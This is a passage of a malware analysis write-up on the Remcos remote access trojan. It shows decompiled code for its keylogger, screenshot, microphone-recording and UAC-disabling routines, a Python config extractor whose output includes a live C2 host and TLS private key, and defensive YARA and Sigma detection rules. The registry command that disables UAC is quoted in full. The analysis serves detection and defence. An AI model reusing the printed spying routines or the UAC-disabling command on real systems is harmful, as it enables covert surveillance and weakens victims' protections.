                    /* index 0x3a = tls peer cert */
    iVar2 = FUN_00401e45_config_get_item(&DAT_00472004_cfg,0x3a);
    uVar5 = FUN_0040245c_str_get_len(iVar2);
    iVar2 = FUN_00401e45_config_get_item(&DAT_00472004_cfg,0x3a);
    puVar6 = (uint *)FUN_00402226_str_get_data(iVar2);
                    /* index 0x39 = tls private key */
    iVar2 = FUN_00401e45_config_get_item(&DAT_00472004_cfg,0x39);
    uVar7 = FUN_0040245c_str_get_len(iVar2);
    iVar2 = FUN_00401e45_config_get_item(&DAT_00472004_cfg,0x39);
    puVar8 = (uint *)FUN_00402226_str_get_data(iVar2);
                    /* 0x38 = tls cert */
    iVar2 = FUN_00401e45_config_get_item(&DAT_00472004_cfg,0x38);
    uVar9 = FUN_0040245c_str_get_len(iVar2);
    iVar2 = FUN_00401e45_config_get_item(&DAT_00472004_cfg,0x38);
    puVar10 = (uint *)FUN_00402226_str_get_data(iVar2);
    FUN_0040471d_tls_load_client_certs(puVar10,uVar9,puVar8,uVar7,puVar6,uVar5);
...
uint __fastcall
FUN_0040471d_tls_load_client_certs
          (uint *param_1,uint param_2,uint *param_3,uint param_4,uint *param_5,uint param_6)

{
  int iVar1;
  uint uVar2;
  undefined4 extraout_ECX;
  undefined1 auStack_3c [16];
  undefined4 uStack_2c;
  char *pcVar3;
  undefined1 auStack_24 [12];
  undefined4 uStack_18;
  
  iVar1 = FUN_0041f795();
  if (iVar1 == 1) {
    pcVar3 = (char *)thunk_FUN_0042251f();
    DAT_0046fad0 = thunk_FUN_0041ee29(pcVar3);
    if (DAT_0046fad0 == (undefined4 *)0x0) {
      pcVar3 = "Failed to initialize TLS context";
    }
    else {
      uStack_18 = 0x404785;
      iVar1 = FUN_0041ff8a_tls_load_cert(extraout_ECX,param_1,param_2);
      if (iVar1 == 1) {
        uStack_18 = 0x4047a6;
        iVar1 = FUN_0041ffbd_tls_load_private_key(extraout_ECX,param_3,param_4);
        if (iVar1 != 1) {
          uStack_2c = 0x4047bc;
          FUN_00402073(auStack_24,(uint *)"Failed to load TLS key");
          FUN_00402073(auStack_3c,(uint *)&DAT_00462ec8);
          FUN_004199f0();
          uVar2 = FUN_0041ee8e((int)DAT_0046fad0);
          goto LAB_00404754;
        }
        uStack_18 = 0x4047f1;
        iVar1 = FUN_0041ff6d_tls_load_peer_cert(extraout_ECX,param_5,param_6);
        if (iVar1 == 1) {
          return 1;
        }
        pcVar3 = "Failed to load peer certificate";
      }
      else {
        pcVar3 = "Failed to load TLS certificate";
      }
    }
  }
  else {
    pcVar3 = "Failed to initialize TLS";
  }
  uStack_2c = 0x40473d;
  FUN_00402073(auStack_24,(uint *)pcVar3);
  FUN_00402073(auStack_3c,(uint *)&DAT_00462ec8);
  uVar2 = FUN_004199f0();
LAB_00404754:
  return uVar2 & 0xffffff00;
}
Mutex

A mutex is used to ensure only one copy of the malware runs at a time.

undefined4 FUN_0040db10_main_init(undefined4 param_1,undefined4 param_2,char *param_3)

{
                    /* index 0xe = mutex name */
  pvVar7 = (void *)FUN_00401e45_config_get_item(&DAT_00472004_cfg,0xe);
  FUN_00401fa0_store_to_global(&DAT_00472238,pvVar7);
...
    pCVar8 = (LPCSTR)FUN_00402226_str_get_data(&DAT_00472238);
    uVar18 = 1;
    CreateMutexA((LPSECURITY_ATTRIBUTES)0x0,1,pCVar8);
    DVar10 = GetLastError();
    if (DVar10 == ERROR_ALREADY_EXISTS) {
...
      return uVar18;
    }
Keylogger

The keylogger supports 2 modes: basic and window-aware. Window-aware means that the window context is logged additionally.

undefined4 FUN_0040db10_main_init(undefined4 param_1,undefined4 param_2,char *param_3)

{
...
                    /* index 0x10 = keylog folder id */
    iVar5 = FUN_00401e45_config_get_item(&DAT_00472004_cfg,0x10);
    puVar13 = (undefined1 *)FUN_00402226_str_get_data(iVar5);
    sStack_310 = CONCAT31((int3)((uint)puVar13 >> 8),*puVar13);
                    /* index 0xf = keylogger mode (offline/online) */
    iVar5 = FUN_00401e45_config_get_item(&DAT_00472004_cfg,0xf);
    pcVar6 = (char *)FUN_00402226_str_get_data(iVar5);
    uVar21 = cVar19 != '\0';
...
                    /* index 0x11 = keylog filename */
    iVar16 = FUN_00401e45_config_get_item(&DAT_00472004_cfg,0x11);
    pwVar11 = (wchar_t *)FUN_00402226_str_get_data(iVar16);
                    /* index 0x31 = keylog foldername */
    iVar16 = FUN_00401e45_config_get_item(&DAT_00472004_cfg,0x31);
    pwVar14 = (wchar_t *)FUN_00402226_str_get_data(iVar16);
    FUN_00409090_keylogger_init(*pcVar6,(char)sStack_310,pwVar14,pwVar11,iVar5,uVar21);
...
void FUN_00409090_keylogger_init
               (char param_1,undefined1 folder_id,wchar_t *foldername,wchar_t *filename,int param_5,
               undefined1 param_6)

{
  size_t sVar1;
  void *pvVar2;
  undefined1 *puVar3;
  undefined1 auStack_6c [12];
  undefined4 uStack_60;
  undefined1 local_4c [24];
  undefined1 local_34 [24];
  undefined1 local_1c [24];
  
  DAT_0046e9c4 = param_1;
  FUN_00401f66(local_1c);
  sVar1 = _wcslen(foldername);
  if (sVar1 == 0) {
                    /* no subfolder, example: %AppData%\logs.dat */
    pvVar2 = FUN_0040cc0e_build_path(local_34,folder_id,filename);
    FUN_00401ef3(local_1c,pvVar2);
    puVar3 = local_34;
  }
  else {
                    /* subfolder, example: %AppData%\remcos\logs.dat */
    pvVar2 = FUN_0040cc0e_build_path(local_34,folder_id,foldername);
    FUN_00401ef3(&DAT_00472088,pvVar2);
    FUN_00401ee9(local_34);
    uStack_60 = 0x409101;
    pvVar2 = FUN_0040837a(local_4c,&DAT_00472088,L"\\");
    pvVar2 = FUN_00402ff4_str_concat(local_34,pvVar2,filename);
    FUN_00401ef3(local_1c,pvVar2);
    FUN_00401ee9(local_34);
    puVar3 = local_4c;
  }
  FUN_00401ee9(puVar3);
  DAT_004720b8 = param_5 * 1000;
  DAT_004720bc = 0;
  DAT_0047205b = param_6;
  if (DAT_0046e9c4 == '1') {
    FUN_0040824b(auStack_6c,local_1c);
                    /* logs all keys */
    FUN_00409374_keylogger_start_basic(&DAT_00472010);
  }
  else if (DAT_0046e9c4 == '2') {
    FUN_0040824b(auStack_6c,local_1c);
                    /* logs all keys + window context */
    FUN_0040942b_keylogger_start_window_aware(&DAT_00472010);
  }
  FUN_00401ee9(local_1c);
  return;
}
void * __fastcall FUN_0040cc0e_build_path(void *param_1,undefined1 param_2,wchar_t *param_3)

{
...
  switch(param_2) {
  case 0x30:
    pwVar2 = L"Temp";
    break;
  case 0x31:
    pvVar3 = FUN_00419ab5(local_270);
    FUN_00401ef3(local_288,pvVar3);
LAB_0040cc5d:
    puVar6 = local_270;
    goto LAB_0040cc61;
  case 0x32:
    pwVar2 = L"SystemDrive";
    break;
  case 0x33:
    pwVar2 = L"WinDir";
    break;
  case 0x34:
    uVar1 = FUN_0041a463();
    if ((char)uVar1 != '\0') {
      pvVar3 = FUN_0040415e(local_270,L"\\SysWOW64");
      pwVar2 = (wchar_t *)FUN_0043a2bf(L"WinDir");
      pvVar4 = FUN_0040415e(local_258,pwVar2);
      pvVar3 = FUN_00402f85(local_240,pvVar4,pvVar3);
      FUN_00401ef3(local_288,pvVar3);
      FUN_00401ee9(local_240);
      FUN_00401ee9(local_258);
      goto LAB_0040cc5d;
    }
    pvVar3 = FUN_0040415e(local_240,L"\\system32");
    pwVar2 = (wchar_t *)FUN_0043a2bf(L"WinDir");
    pvVar4 = FUN_0040415e(local_258,pwVar2);
    pvVar3 = FUN_00402f85(local_270,pvVar4,pvVar3);
    FUN_00401ef3(local_288,pvVar3);
    FUN_00401ee9(local_270);
    FUN_00401ee9(local_258);
    puVar6 = local_240;
LAB_0040cc61:
    FUN_00401ee9(puVar6);
    goto switchD_0040cc39_default;
  case 0x35:
switchD_0040cc39_caseD_35:
    pwVar2 = L"ProgramFiles";
    break;
  case 0x36:
    pwVar2 = L"AppData";
    break;
  case 0x37:
    pwVar2 = L"UserProfile";
    break;
  case 0x38:
    pwVar2 = (wchar_t *)FUN_0043a2bf(L"ProgramData");
...
Screenshot

Screenshot capture can be triggered in 2 modes: time-based and window-change-based (captures on active window change).

undefined4 FUN_0040db10_main_init(undefined4 param_1,undefined4 param_2,char *param_3)

{
...
                    /* index 0x14 = time-based screenshots */
    iVar5 = FUN_00401e45_config_get_item(&DAT_00472004_cfg,0x14);
    pcVar6 = (char *)FUN_00402226_str_get_data(iVar5);
    if (*pcVar6 == '\x01') {
      puVar13 = operator_new(2);
      *puVar13 = 0;
      iVar5 = FUN_00401e45_config_get_item(&DAT_00472004_cfg,0x35);
      pcVar6 = (char *)FUN_00402226_str_get_data(iVar5);
      puVar13[1] = *pcVar6 != '\0';
      CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,FUN_00418480_screenshot_thread,puVar13,0,
                   (LPDWORD)0x0);
    }
                    /* index 0x16 = window-change screenshots */
    iVar5 = FUN_00401e45_config_get_item(&DAT_00472004_cfg,0x16);
    pcVar6 = (char *)FUN_00402226_str_get_data(iVar5);
    if (*pcVar6 == '\x01') {
      puVar13 = operator_new(2);
      *puVar13 = 1;
      iVar5 = FUN_00401e45_config_get_item(&DAT_00472004_cfg,0x35);
      pcVar6 = (char *)FUN_00402226_str_get_data(iVar5);
      puVar13[1] = *pcVar6 != '\0';
      CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,FUN_00418480_screenshot_thread,puVar13,0,
                   (LPDWORD)0x0);
    }
void FUN_00418480_screenshot_thread(void)

{
...
                    /* index 0x19 = screenshot folder id */
  iVar3 = FUN_00401e45_config_get_item(&DAT_00472004_cfg,0x19);
  puVar4 = (undefined1 *)FUN_00402226_str_get_data(iVar3);
                    /* index 0x1a = screenshot folder */
  pvVar2 = (void *)FUN_00401e45_config_get_item(&DAT_00472004_cfg,0x1a);
  pvVar2 = FUN_0041a10a((void *)(unaff_EBP + -0x58),pvVar2);
  pwVar5 = (wchar_t *)thunk_FUN_0040220a(pvVar2);
  pvVar2 = FUN_0040cc0e_build_path((void *)(unaff_EBP + -0x40),*puVar4,pwVar5);
  FUN_00401ef3_copy_to_global(&DAT_004725e0,pvVar2);
...
  lpSecurityAttributes = (LPSECURITY_ATTRIBUTES)0x0;
  lpPathName = (LPCWSTR)thunk_FUN_0040220a(&DAT_004725e0);
  CreateDirectoryW(lpPathName,lpSecurityAttributes);
...
    FUN_0041833a_take_screenshot(pwVar6,*(char *)(*(int *)(unaff_EBP + 8) + 1));
    if (**(char **)(unaff_EBP + 8) == '\0') {
                    /* index 0x15 = time interval (minutes) */
      iVar3 = FUN_00401e45_config_get_item(&DAT_00472004_cfg,0x15);
      pcVar7 = (char *)FUN_00402226_str_get_data(iVar3);
      iVar3 = FID_conflict:_atoi(pcVar7);
      dwMilliseconds = iVar3 * 60000;
    }
    else {
      cVar1 = '\0';
      *(undefined1 *)(unaff_EBP + -0x11) = 0;
                    /* index 0x18 = window-change interval (cooldown) */
      iVar3 = FUN_00401e45_config_get_item(&DAT_00472004_cfg,0x18);
      pcVar7 = (char *)FUN_00402226_str_get_data(iVar3);
      iVar3 = FID_conflict:_atoi(pcVar7);
      dwMilliseconds = iVar3 * 1000;
    }
    Sleep(dwMilliseconds);
    pcVar7 = *(char **)(unaff_EBP + 8);
  } while( true );
}
Audio

Audio can be recorded via the microphone. Recordings are saved as .wav files.

undefined4 FUN_0040db10_main_init(undefined4 param_1,undefined4 param_2,char *param_3)

{
...
                    /* index 0x23 = audio enabled */
    iVar5 = FUN_00401e45_config_get_item(&DAT_00472004_cfg,0x23);
    pcVar6 = (char *)FUN_00402226_str_get_data(iVar5);
    if (*pcVar6 == '\x01') {
      DAT_0046fa75 = 1;
                    /* index 0x25 = audio folder id */
      iVar5 = FUN_00401e45_config_get_item(&DAT_00472004_cfg,0x25);
      puVar13 = (undefined1 *)FUN_00402226_str_get_data(iVar5);
                    /* index 0x26 = audio folder name */
      iVar5 = FUN_00401e45_config_get_item(&DAT_00472004_cfg,0x26);
      puVar9 = (uint *)FUN_00402226_str_get_data(iVar5);
      pvVar7 = FUN_0040cbc2_build_path(auStack_308,*puVar13,puVar9);
      FUN_00401ef3_copy_to_global(&DAT_00471d04,pvVar7);
      FUN_00401ee9(auStack_308);
      CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,LAB_00401bc9_audio_thread,(LPVOID)0x0,0,(LPDWORD)0x0
                  );
    }
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined4 LAB_00401bc9_audio_thread(void)

{
  LPCWSTR lpPathName;
  int iVar1;
  char *_Str;
  LPSECURITY_ATTRIBUTES lpSecurityAttributes;
  
  lpSecurityAttributes = (LPSECURITY_ATTRIBUTES)0x0;
  lpPathName = (LPCWSTR)thunk_FUN_0040220a(&DAT_00471d04);
  CreateDirectoryW(lpPathName,lpSecurityAttributes);
  DAT_0046faa6 = 8;
  DAT_0046fa9c = 8000;
  _DAT_0046faa0 = 8000;
  _DAT_0046fa98 = 1;
  DAT_0046fa9a = 1;
  _DAT_0046faa4 = 1;
  _DAT_0046faa8 = 0;
  iVar1 = FUN_00401e45_config_get_item(&DAT_00472004_cfg,0x24);
  _Str = (char *)FUN_00402226_str_get_data(iVar1);
  iVar1 = FID_conflict:_atoi(_Str);
  _DAT_0046faac = DAT_0046fa9c * iVar1 * 0x3c;
                    /* 0x401ceb = audio_save_wav callback */
  DAT_0046fab4 = (uint)(DAT_0046faa6 >> 3) * _DAT_0046faac;
  waveInOpen(&DAT_0046fab0,0xffffffff,(LPCWAVEFORMATEX)&DAT_0046fa98,0x401ceb,0,0x30008);
  FUN_00401f7d(&DAT_00471d1c,DAT_0046fab4);
  _DAT_0046fa78 = FUN_00402226_str_get_data(&DAT_00471d1c);
  _DAT_0046fa7c = DAT_0046fab4;
  _DAT_0046fa80 = 0;
  _DAT_0046fa84 = 0;
  _DAT_0046fa88 = 0;
  _DAT_0046fa8c = 0;
  waveInPrepareHeader(DAT_0046fab0,(LPWAVEHDR)&DAT_0046fa78,0x20);
  waveInAddBuffer(DAT_0046fab0,(LPWAVEHDR)&DAT_0046fa78,0x20);
  waveInStart(DAT_0046fab0);
  return 0;
}
UAC

If enabled, Remcos disables UAC by setting EnableLUA=0 in the registry via a cmd.exe process.

undefined4 FUN_0040db10_main_init(undefined4 param_1,undefined4 param_2,char *param_3)

{
...
                    /* index 0x27 = disable uac */
    iVar5 = FUN_00401e45_config_get_item(&DAT_00472004_cfg,0x27);
    pcVar6 = (char *)FUN_00402226_str_get_data(iVar5);
    if (*pcVar6 != '\0') {
      FUN_0040ec21_disable_uac();
    }
void FUN_0040ec21_disable_uac(void)

{
  _STARTUPINFOA local_5c;
  _PROCESS_INFORMATION local_14;
  
  _memset(&local_5c,0,0x44);
  local_5c.cb = 0x44;
  _memset(&local_14,0,0x10);
  CreateProcessA("C:\\Windows\\System32\\cmd.exe",
                 "/k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVers ion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f"
                 ,(LPSECURITY_ATTRIBUTES)0x0,(LPSECURITY_ATTRIBUTES)0x0,0,0x8000000,(LPVOID)0x0,
                 (LPCSTR)0x0,&local_5c,&local_14);
  CloseHandle(local_14.hProcess);
  CloseHandle(local_14.hThread);
  return;
}

Complete config field mapping

Index Dec Field Name
0x00 0 C2 host list (format: host:port:tls)
0x03 3 Install mode enable
0x04 4 HKCU Run key persistence
0x05 5 HKLM Run key persistence
0x08 8 HKLM Policies\Explorer\Run persistence
0x09 9 Install folder ID
0x0a 10 Install filename
0x0e 14 Mutex name / Registry subkey name
0x0f 15 Keylogger mode (0=off, 1=basic, 2=window-aware)
0x10 16 Keylog folder ID
0x11 17 Keylog filename
0x14 20 Enable time-based screenshots
0x15 21 Screenshot time interval (minutes)
0x16 22 Enable window-change screenshots
0x18 24 Window-change screenshot cooldown (seconds)
0x19 25 Screenshot folder ID
0x1a 26 Screenshot subfolder name
0x23 35 Enable audio recording
0x24 36 Audio recording duration (minutes)
0x25 37 Audio folder ID
0x26 38 Audio subfolder name
0x27 39 Disable UAC
0x30 48 Install subfolder name
0x31 49 Keylog subfolder path
0x35 53 Screenshot quality flag
0x38 56 TLS client certificate
0x39 57 TLS private key
0x3a 58 TLS peer certificate

Folder ID values (FUN_0040cc0e_build_path):

ID Path
'0' %Temp%
'2' %SystemDrive%
'3' %WinDir%
'4' %WinDir%\System32
'5' %ProgramFiles%
'6' %AppData%
'7' %UserProfile%
'8' %ProgramData%

Config extractor

Based on the earlier analysis, we can implement an advanced config extractor.

Note: the script is available here as well.

$ python3 remcos_config_extractor.py remcos.exe
[rc4_key]: fad403be43253637efc7f1c063030e9f19ec31e61bb0d1c5a19f4873dd09a6c521f426c3e33f46b969b001a5f706a7fae116470ddf7bb5b973789a094eed17e202abe418656c09547b3b75c1ca263f646e702f864ba1e3b43a33c91b0fb79758c8ad1ff85b69904bd8c58f36e77eba36da6b6cbac1fa
[00_c2_host_list]: gdyhjjdhbvxgsfe.gotdns.ch:2718:1
[04_hkcu_run_persistence]: 1
[05_hklm_run_persistence]: 1
[09_install_folder_id]: 8
[0a_install_filename]: remcos.exe
[0e_mutex_name]: Rmc-JQX1JF
[0f_keylogger_mode]: 1
[10_keylog_folder_id]: 6
[11_keylog_filename]: logs.dat
[15_screenshot_interval_min]: 10
[18_screenshot_window_cooldown_sec]: 5
[19_screenshot_folder_id]: 6
[1a_screenshot_subfolder]: Screenshots
[24_audio_duration_min]: 5
[25_audio_folder_id]: 5
[26_audio_subfolder]: MicRecords
[30_install_subfolder]: Remcos
[38_tls_client_cert]: 3081ff3081a6a003020102021035fd60e6f340f3b4b7b5cd2702e0e6d9300a06082a8648ce3d04030230003022180f31393730303130313030303030305a180f32303930313233313030303030305a30003059301306072a8648ce3d020106082a8648ce3d030107034200049fb3b60233c6c6293e156e7b58bd763de0b898d9fdf2b3ac5c4e21f831a55e3372eecf45d36a295060ebfdc39942715ece1bcb99ed69697402a7e81ae879b14b300a06082a8648ce3d04030203480030450220653755a5087908f9ee959079782ad84e25b5624fbf8928429b705d050f7b58de0221008c0768629504cb42d5dadb758f13917cfa33ab9a64efed33b4c860903d36593a
[39_tls_private_key]: 30770201010420b0601509acb7b34a7681763dc1654cb46bd7ce83c21f6fbe93fa35aceb8c1c5fa00a06082a8648ce3d030107a144034200049fb3b60233c6c6293e156e7b58bd763de0b898d9fdf2b3ac5c4e21f831a55e3372eecf45d36a295060ebfdc39942715ece1bcb99ed69697402a7e81ae879b14b
[3a_tls_ca_cert]: 3081fe3081a6a003020102021032099a608e5d1b680cbb5b3c67d86160300a06082a8648ce3d04030230003022180f31393730303130313030303030305a180f32303930313233313030303030305a30003059301306072a8648ce3d020106082a8648ce3d0301070342000487631e61091113716baf37eff2bf8ec2dd1ea4ebb4f8a3c51461d4758c3b02b809017e7dd918eedbc71f6254d693f91c882a51abe22a1f442c557b4881595ae3300a06082a8648ce3d04030203470030440220603c0fa41c872cdcd07bf382e2a7fdd369a9fdb74da10cfe30a7a1065c4408580220055ff89f771df2c30b54bdd554c028637513a4dfca31c8e0a026c71d35e14051
import sys
import pefile
from Crypto.Cipher import ARC4

CONFIG_FIELDS = {
    0x00: "c2_host_list",
    0x03: "install_mode_enable",
    0x04: "hkcu_run_persistence",
    0x05: "hklm_run_persistence",
    0x08: "hklm_policies_persistence",
    0x09: "install_folder_id",
    0x0A: "install_filename",
    0x0E: "mutex_name",
    0x0F: "keylogger_mode",
    0x10: "keylog_folder_id",
    0x11: "keylog_filename",
    0x14: "screenshot_time_enable",
    0x15: "screenshot_interval_min",
    0x16: "screenshot_window_enable",
    0x18: "screenshot_window_cooldown_sec",
    0x19: "screenshot_folder_id",
    0x1A: "screenshot_subfolder",
    0x23: "audio_enable",
    0x24: "audio_duration_min",
    0x25: "audio_folder_id",
    0x26: "audio_subfolder",
    0x27: "disable_uac",
    0x30: "install_subfolder",
    0x31: "keylog_subfolder",
    0x35: "screenshot_quality",
    0x38: "tls_client_cert",
    0x39: "tls_private_key",
    0x3A: "tls_ca_cert",
}


def extract_resource(pe: pefile.PE, name: str = "SETTINGS") -> bytes | None:
    RT_RCDATA = 10
    for entry in pe.DIRECTORY_ENTRY_RESOURCE.entries:
        if entry.id == RT_RCDATA:
            for resource_type in entry.directory.entries:
                if resource_type.name and resource_type.name.string.decode() == name:
                    for resource_lang in resource_type.directory.entries:
                        data_rva = resource_lang.data.struct.OffsetToData
                        size = resource_lang.data.struct.Size
                        return pe.get_memory_mapped_image()[data_rva : data_rva + size]
    return None


def parse_config(decrypted: bytes) -> list[bytes]:
    delimiter = b"|\x1e\x1e\x1f|"
    fields = decrypted.split(delimiter)
    return [f.strip(b"|").strip(b"\x00") for f in fields]


def extract_config(filepath: str) -> dict | None:
    try:
        pe = pefile.PE(filepath)
    except Exception as e:
        print(f"[!] Failed to parse PE: {e}")
        return None

    blob = extract_resource(pe, "SETTINGS")
    if not blob:
        print("[!] SETTINGS resource not found")
        return None

    key_len = blob[0]
    rc4_key = blob[1 : 1 + key_len]
    encrypted = blob[1 + key_len :]

    cipher = ARC4.new(rc4_key)
    decrypted = cipher.decrypt(encrypted)

    fields = parse_config(decrypted)

    result = {"rc4_key": rc4_key.hex(), "fields": {}}
    for i, value in enumerate(fields):
        if i in CONFIG_FIELDS:
            result["fields"][f"{i:02x}_{CONFIG_FIELDS[i]}"] = value
    return result


def format_value(key: str, raw: bytes) -> str | None:
    if not raw:
        return None

    if "tls_" in key:
        return raw.hex()

    # Single byte.
    if len(raw) == 1:
        byte_val = raw[0]
        # Printable ASCII (0x20-0x7E): show as character.
        if 0x20 <= byte_val <= 0x7E:
            return chr(byte_val)
        # Non-printable (0x00, 0x01, etc.): show as number.
        return str(byte_val)

    # Multi-byte: decode as UTF-8.
    try:
        decoded = raw.decode("utf-8")
        cleaned = (
            decoded.replace("\x00", "").replace("\r", "").replace("\n", " ").strip()
        )
        return cleaned if cleaned else None
    except:
        return raw.hex()


def main():
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <remcos.exe>")
        sys.exit(1)

    config = extract_config(sys.argv[1])
    if not config:
        print("[!] Failed to extract config")
        sys.exit(1)

    print(f"[rc4_key]: {config['rc4_key']}")

    for key, raw in config["fields"].items():
        display_val = format_value(key, raw)
        if display_val:
            print(f"[{key}]: {display_val}")


if __name__ == "__main__":
    main()

IOCs

YARA

Note: the rules are available here as well.

/*
  meta:
    description = "Remcos RAT"
    author = "Andras Gemes"
    date = "2026-02-08"
    sha256 = "94a4e5c7a3524175c0306c5748c719a940a7bfbe778c5a16627193a684fa10f0"
    ref1 = "https://shadowshell.io/remcos"
    ref2 = "https://bazaar.abuse.ch/sample/94a4e5c7a3524175c0306c5748c719a940a7bfbe778c5a16627193a684fa10f0"
    ref3 = "https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos"
*/

rule Remcos_version_agent_breakingsecurity_strings
{
    meta:
        description = "Detects Remcos RAT version, agent and BreakingSecurity strings."
        
    strings:
        $v1 = "Remcos v" ascii wide
        $v2 = /\d+\.\d+\.\d+ Pro/ ascii wide
        $v3 = "Remcos Agent" ascii wide
        $v4 = "BreakingSecurity.net" ascii wide
        
    condition:
        uint16(0) == 0x5A4D and 2 of them
}

rule Remcos_keylogger_strings
{
    meta:
        description = "Detects Remcos keylogger strings."
        
    strings:
        $k1 = "Offline Keylogger Started" ascii wide
        $k2 = "Online Keylogger Started" ascii wide
        $k3 = "Keylogger initialization failure" ascii wide
        
    condition:
        uint16(0) == 0x5A4D and any of them
}

rule Remcos_uac_disable
{
    meta:
        description = "Detects Remcos UAC disable technique."
        
    strings:
        $reg1 = "Policies\\System" ascii wide
        $reg2 = "EnableLUA" ascii wide
        $cmd = "reg.exe ADD" ascii wide nocase
        
    condition:
        uint16(0) == 0x5A4D and all of them
}

rule Remcos_audio_recording
{
    meta:
        description = "Detects Remcos audio recording capability."
        
    strings:
        $api1 = "waveInOpen" ascii
        $api2 = "waveInStart" ascii
        
    condition:
        uint16(0) == 0x5A4D and all of them
}

rule Remcos_c2_strings
{
    meta:
        description = "Detects Remcos C2 connection strings."
        
    strings:
        $s1 = "Connection Error: Unable to create socket" ascii wide
        $s2 = "Connected   | " ascii wide
        $s3 = "TLS On" ascii wide
        $s4 = "TLS Off" ascii wide
        
    condition:
        uint16(0) == 0x5A4D and 2 of them
}

rule Remcos_combined
{
    meta:
        description = "Combined Remcos RAT detection rule."
        
    condition:
        Remcos_version_agent_breakingsecurity_strings and
        Remcos_keylogger_strings and
        Remcos_uac_disable and
        Remcos_audio_recording and
        Remcos_c2_strings
}

Sigma

Note: the rules are available here as well.

title: Remcos RAT registry persistence
id: fab3dda4-779f-4cf7-91b0-ca3d18c013d9
status: experimental
description: Detects Remcos RAT adding registry Run key for persistence.
author: Andras Gemes
references:
  - https://shadowshell.io/remcos
  - https://github.com/gemesa/threat-detection-rules/tree/main/remcos
  - https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos
# https://github.com/SigmaHQ/sigma-specification/blob/main/specification/sigma-appendix-taxonomy.md
# https://github.com/SigmaHQ/sigma-specification/blob/main/specification/sigma-appendix-modifiers.md
date: 2026/02/08
logsource:
  category: registry_set
  product: windows
detection:
  selection_path:
    TargetObject|contains: '\Software\Microsoft\Windows\CurrentVersion\Run\'
  selection_remcos:
    Details|contains:
      - "remcos"
      - "Rmc-"
  condition: selection_path and selection_remcos
falsepositives:
  - Legitimate remote administration tools.
level: high
tags:
  # tactic - https://attack.mitre.org/tactics/enterprise/
  - attack.persistence
  # Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder - https://attack.mitre.org/techniques/T1547/001/
  - attack.t1547.001
---
title: Remcos RAT UAC bypass via registry
id: 497780e1-b73d-44e3-8a64-c88e7fe81cb7
status: experimental
description: Detects Remcos RAT disabling UAC via EnableLUA registry modification.
author: Andras Gemes
references:
  - https://shadowshell.io/remcos
  - https://github.com/gemesa/threat-detection-rules/tree/main/remcos
  - https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos
# https://github.com/SigmaHQ/sigma-specification/blob/main/specification/sigma-appendix-taxonomy.md
# https://github.com/SigmaHQ/sigma-specification/blob/main/specification/sigma-appendix-modifiers.md
date: 2026/02/08
logsource:
  category: registry_set
  product: windows
detection:
  selection:
    TargetObject|endswith: '\Policies\System\EnableLUA'
    Details|contains:
      - "DWORD (0x00000000)" # Sysmon
  condition: selection
falsepositives:
  - System administrators disabling UAC intentionally.
level: high
tags:
  # tactic - https://attack.mitre.org/tactics/enterprise/
  - attack.defense-evasion
  # Abuse Elevation Control Mechanism: Bypass User Account Control - https://attack.mitre.org/techniques/T1548/002/
  - attack.t1548.002
---
title: Remcos RAT geolocation check
id: 3795bdb9-d9a7-4173-a63f-3ae821719fb6
status: experimental
description: Detects Remcos RAT querying geoplugin.net for victim geolocation.
author: Andras Gemes
references:
  - https://shadowshell.io/remcos
  - https://github.com/gemesa/threat-detection-rules/tree/main/remcos
  - https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos
# https://github.com/SigmaHQ/sigma-specification/blob/main/specification/sigma-appendix-taxonomy.md
# https://github.com/SigmaHQ/sigma-specification/blob/main/specification/sigma-appendix-modifiers.md
date: 2026/02/08
logsource:
  category: dns_query
  product: windows
detection:
  selection:
    QueryName|endswith: "geoplugin.net"
  condition: selection
falsepositives:
  - Legitimate applications checking geolocation.
level: medium
tags:
  # tactic - https://attack.mitre.org/tactics/enterprise/
  - attack.discovery
  # System Location Discovery - https://attack.mitre.org/techniques/T1614/
  - attack.t1614